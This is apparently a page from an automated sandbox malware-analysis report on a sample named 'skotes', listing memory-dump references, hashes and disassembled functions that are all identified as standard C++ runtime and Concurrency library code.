Associated: 00000006.00000002.3458429750.0000000000C39000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458649300.0000000000C3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458785892.0000000000C45000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459052762.0000000000C46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459270282.0000000000C47000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3460431228.0000000000DA1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3461770601.0000000000DA3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3463645711.0000000000DBA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464669746.0000000000DBC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DBE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DC8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3466594651.0000000000DCD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467635601.0000000000DCF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467790959.0000000000DDB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469684463.0000000000DE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469922798.0000000000DF6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3473492363.0000000000E09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3474734079.0000000000E21000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3475645098.0000000000E22000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476651388.0000000000E2A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476938674.0000000000E2B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477070298.0000000000E34000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477264101.0000000000E3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477393595.0000000000E3C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477657476.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477851250.0000000000E4C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478022799.0000000000E4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478177580.0000000000E4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478382081.0000000000E56000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478540619.0000000000E5D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478784297.0000000000E5F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478916346.0000000000E67000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479082698.0000000000E69000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479224017.0000000000E78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000E79000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000EA9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480189121.0000000000EC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480364133.0000000000EC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480502735.0000000000EDA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480582275.0000000000EDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480721803.0000000000EDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480920537.0000000000EE0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481180448.0000000000EE2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481324628.0000000000EF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481427628.0000000000EF1000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_bd0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Search$Work$Context::$Base::CacheLocal_PriorityScheduler$CheckItemItem::ListNextObjectPeriodicRealizedScanUnrealized
String ID:
API String ID: 1256429809-0
Opcode ID: 1713d87e963a5e5eaa5bb00f814abd18f78d41211004692ceb01379a49c87db5
Instruction ID: 08819eb3035d7a8e317c955a06d7e2fcdc81501f9c85913c140d75d2722d7511
Opcode Fuzzy Hash: 1713d87e963a5e5eaa5bb00f814abd18f78d41211004692ceb01379a49c87db5
Instruction Fuzzy Hash: D971A030A00249AFDF15CF54C989BBEBBB5AF55304F044099EC516B2D2CB31DE16EB61

Function 00BF2832 Relevance: 15.2, APIs: 10, Instructions: 223COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::ResourceManager::GetTopologyInformation.LIBCONCRT ref: 00BF2876
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 00BF28DF
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 00BF2913

Part of subcall function 00BF07ED: Concurrency::details::ResourceManager::AffinityRestriction::ApplyAffinityLimits.LIBCMT ref: 00BF080D

Concurrency::details::ResourceManager::GetTopologyInformation.LIBCONCRT ref: 00BF2993
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCONCRT ref: 00BF29DB

Part of subcall function 00BF07C2: Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 00BF07DE

Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCONCRT ref: 00BF29EF
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCONCRT ref: 00BF2A00
Concurrency::details::ResourceManager::CleanupTopologyInformation.LIBCMT ref: 00BF2A4D
Concurrency::details::ResourceManager::AffinityRestriction::FindGroupAffinity.LIBCONCRT ref: 00BF2A7E

Memory Dump Source

Source File: 00000006.00000002.3457897829.0000000000BD1000.00000040.00000001.01000000.00000008.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000006.00000002.3457753663.0000000000BD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3457897829.0000000000C32000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458429750.0000000000C39000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458649300.0000000000C3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458785892.0000000000C45000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459052762.0000000000C46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459270282.0000000000C47000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3460431228.0000000000DA1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3461770601.0000000000DA3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3463645711.0000000000DBA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464669746.0000000000DBC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DBE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DC8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3466594651.0000000000DCD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467635601.0000000000DCF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467790959.0000000000DDB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469684463.0000000000DE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469922798.0000000000DF6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3473492363.0000000000E09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3474734079.0000000000E21000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3475645098.0000000000E22000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476651388.0000000000E2A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476938674.0000000000E2B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477070298.0000000000E34000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477264101.0000000000E3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477393595.0000000000E3C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477657476.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477851250.0000000000E4C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478022799.0000000000E4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478177580.0000000000E4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478382081.0000000000E56000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478540619.0000000000E5D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478784297.0000000000E5F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478916346.0000000000E67000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479082698.0000000000E69000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479224017.0000000000E78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000E79000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000EA9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480189121.0000000000EC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480364133.0000000000EC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480502735.0000000000EDA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480582275.0000000000EDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480721803.0000000000EDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480920537.0000000000EE0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481180448.0000000000EE2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481324628.0000000000EF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481427628.0000000000EF1000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_bd0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Manager::Resource$Affinity$Apply$Restrictions$InformationTopology$Restriction::$CleanupFindGroupLimits
String ID:
API String ID: 1321587334-0
Opcode ID: 2416da1222804ec48a2ec6615e883893d137210d87a6d79f15069d2b01150744
Instruction ID: 049c2eef3de8e720022772dfecc094d220d2146626b00bb38169d1f32e790de4
Opcode Fuzzy Hash: 2416da1222804ec48a2ec6615e883893d137210d87a6d79f15069d2b01150744
Instruction Fuzzy Hash: C281BD31A2161E9BCB18DFA8D8916BDFBF1FF48304B2480ADD645E7251D730AE49CB90

Function 00BF69DA Relevance: 15.1, APIs: 10, Instructions: 144COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 00BF6A1F
Concurrency::details::SchedulingRing::FindScheduleGroupSegment.LIBCMT ref: 00BF6A51
List.LIBCONCRT ref: 00BF6A8C
Concurrency::details::SchedulingRing::GetNextScheduleGroupSegment.LIBCMT ref: 00BF6A9D
Concurrency::details::SchedulingRing::FindScheduleGroupSegment.LIBCMT ref: 00BF6AB9
List.LIBCONCRT ref: 00BF6AF4
Concurrency::details::SchedulingRing::GetNextScheduleGroupSegment.LIBCMT ref: 00BF6B05
Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 00BF6B20
List.LIBCONCRT ref: 00BF6B5B
Concurrency::details::SchedulingNode::GetNextVirtualProcessor.LIBCMT ref: 00BF6B68

Part of subcall function 00BF5EDF: Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 00BF5EF7
Part of subcall function 00BF5EDF: Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 00BF5F09

Memory Dump Source

Source File: 00000006.00000002.3457897829.0000000000BD1000.00000040.00000001.01000000.00000008.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000006.00000002.3457753663.0000000000BD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3457897829.0000000000C32000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458429750.0000000000C39000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458649300.0000000000C3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458785892.0000000000C45000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459052762.0000000000C46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459270282.0000000000C47000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3460431228.0000000000DA1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3461770601.0000000000DA3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3463645711.0000000000DBA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464669746.0000000000DBC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DBE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DC8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3466594651.0000000000DCD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467635601.0000000000DCF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467790959.0000000000DDB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469684463.0000000000DE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469922798.0000000000DF6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3473492363.0000000000E09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3474734079.0000000000E21000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3475645098.0000000000E22000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476651388.0000000000E2A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476938674.0000000000E2B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477070298.0000000000E34000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477264101.0000000000E3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477393595.0000000000E3C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477657476.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477851250.0000000000E4C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478022799.0000000000E4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478177580.0000000000E4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478382081.0000000000E56000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478540619.0000000000E5D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478784297.0000000000E5F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478916346.0000000000E67000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479082698.0000000000E69000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479224017.0000000000E78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000E79000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000EA9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480189121.0000000000EC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480364133.0000000000EC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480502735.0000000000EDA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480582275.0000000000EDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480721803.0000000000EDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480920537.0000000000EE0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481180448.0000000000EE2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481324628.0000000000EF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481427628.0000000000EF1000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_bd0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Scheduling$Find$GroupNode::ProcessorRing::ScheduleSegmentVirtual$ListNext$AcquireConcurrency::details::_Lock::_ReaderWriteWriter
String ID:
API String ID: 3403738998-0
Opcode ID: 49fcf71f40cdee32d76cff0cfec7904b1821ee1dee631ce0987f33fef910e908
Instruction ID: 48ae19abf1588562595898201152471f3e7df445d4ad9b06897b8e9230a1a83e
Opcode Fuzzy Hash: 49fcf71f40cdee32d76cff0cfec7904b1821ee1dee631ce0987f33fef910e908
Instruction Fuzzy Hash: AB512071A0020DABDB18DF64C595BFDB3E8FF08344F1541A9EA15EB242DB70AE49CB90

Function 00C052A5 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 308COMMONLIBRARYCODE

Download Yara Rule

APIs

IsInExceptionSpec.LIBVCRUNTIME ref: 00C053A0
type_info::operator==.LIBVCRUNTIME ref: 00C053C7
___TypeMatch.LIBVCRUNTIME ref: 00C054D3
IsInExceptionSpec.LIBVCRUNTIME ref: 00C055AE
CallUnexpected.LIBVCRUNTIME ref: 00C05650

Strings

csm, xrefs: 00C053FE
csm, xrefs: 00C0534D
csm, xrefs: 00C052E0

Memory Dump Source

Source File: 00000006.00000002.3457897829.0000000000BD1000.00000040.00000001.01000000.00000008.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000006.00000002.3457753663.0000000000BD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3457897829.0000000000C32000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458429750.0000000000C39000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458649300.0000000000C3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458785892.0000000000C45000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459052762.0000000000C46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459270282.0000000000C47000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3460431228.0000000000DA1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3461770601.0000000000DA3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3463645711.0000000000DBA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464669746.0000000000DBC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DBE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DC8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3466594651.0000000000DCD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467635601.0000000000DCF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467790959.0000000000DDB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469684463.0000000000DE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469922798.0000000000DF6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3473492363.0000000000E09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3474734079.0000000000E21000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3475645098.0000000000E22000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476651388.0000000000E2A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476938674.0000000000E2B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477070298.0000000000E34000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477264101.0000000000E3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477393595.0000000000E3C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477657476.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477851250.0000000000E4C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478022799.0000000000E4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478177580.0000000000E4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478382081.0000000000E56000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478540619.0000000000E5D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478784297.0000000000E5F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478916346.0000000000E67000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479082698.0000000000E69000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479224017.0000000000E78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000E79000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000EA9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480189121.0000000000EC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480364133.0000000000EC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480502735.0000000000EDA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480582275.0000000000EDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480721803.0000000000EDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480920537.0000000000EE0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481180448.0000000000EE2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481324628.0000000000EF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481427628.0000000000EF1000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_bd0000_skotes.jbxd

Yara matches

Similarity

API ID: ExceptionSpec$CallMatchTypeUnexpectedtype_info::operator==
String ID: csm$csm$csm
API String ID: 4162181273-393685449
Opcode ID: bfae4695d3c9be3cef404b28a6c461604fdb02e05a39bf7f7c95651f0b4aa60a
Instruction ID: 824e33263c6af6796bcc96a5075e41d89ea5c2c92d374e8d3ea4df5878fcdefc
Opcode Fuzzy Hash: bfae4695d3c9be3cef404b28a6c461604fdb02e05a39bf7f7c95651f0b4aa60a
Instruction Fuzzy Hash: C3C19AB1900A09DFCF29DFA4C8819AFBBB9BF14311F10415AF9216B292C771DA51CF91

Function 00BF7364 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 80COMMON

Download Yara Rule

APIs

Concurrency::details::SchedulingNode::FindMatchingVirtualProcessor.LIBCONCRT ref: 00BF73B0
Concurrency::details::SchedulingNode::FindMatchingVirtualProcessor.LIBCONCRT ref: 00BF73F2
Concurrency::details::InternalContextBase::GetAndResetOversubscribedVProc.LIBCMT ref: 00BF740E
Concurrency::details::VirtualProcessor::MarkForRetirement.LIBCONCRT ref: 00BF7419
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00BF7440

Strings

count, xrefs: 00BF737E
ppVirtualProcessorRoots, xrefs: 00BF7438

Memory Dump Source

Source File: 00000006.00000002.3457897829.0000000000BD1000.00000040.00000001.01000000.00000008.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000006.00000002.3457753663.0000000000BD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3457897829.0000000000C32000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458429750.0000000000C39000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458649300.0000000000C3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458785892.0000000000C45000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459052762.0000000000C46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459270282.0000000000C47000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3460431228.0000000000DA1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3461770601.0000000000DA3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3463645711.0000000000DBA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464669746.0000000000DBC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DBE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DC8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3466594651.0000000000DCD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467635601.0000000000DCF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467790959.0000000000DDB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469684463.0000000000DE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469922798.0000000000DF6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3473492363.0000000000E09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3474734079.0000000000E21000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3475645098.0000000000E22000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476651388.0000000000E2A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476938674.0000000000E2B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477070298.0000000000E34000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477264101.0000000000E3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477393595.0000000000E3C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477657476.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477851250.0000000000E4C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478022799.0000000000E4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478177580.0000000000E4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478382081.0000000000E56000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478540619.0000000000E5D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478784297.0000000000E5F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478916346.0000000000E67000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479082698.0000000000E69000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479224017.0000000000E78000.00000080.00000001.01000000.00000008.sdmpDownload File
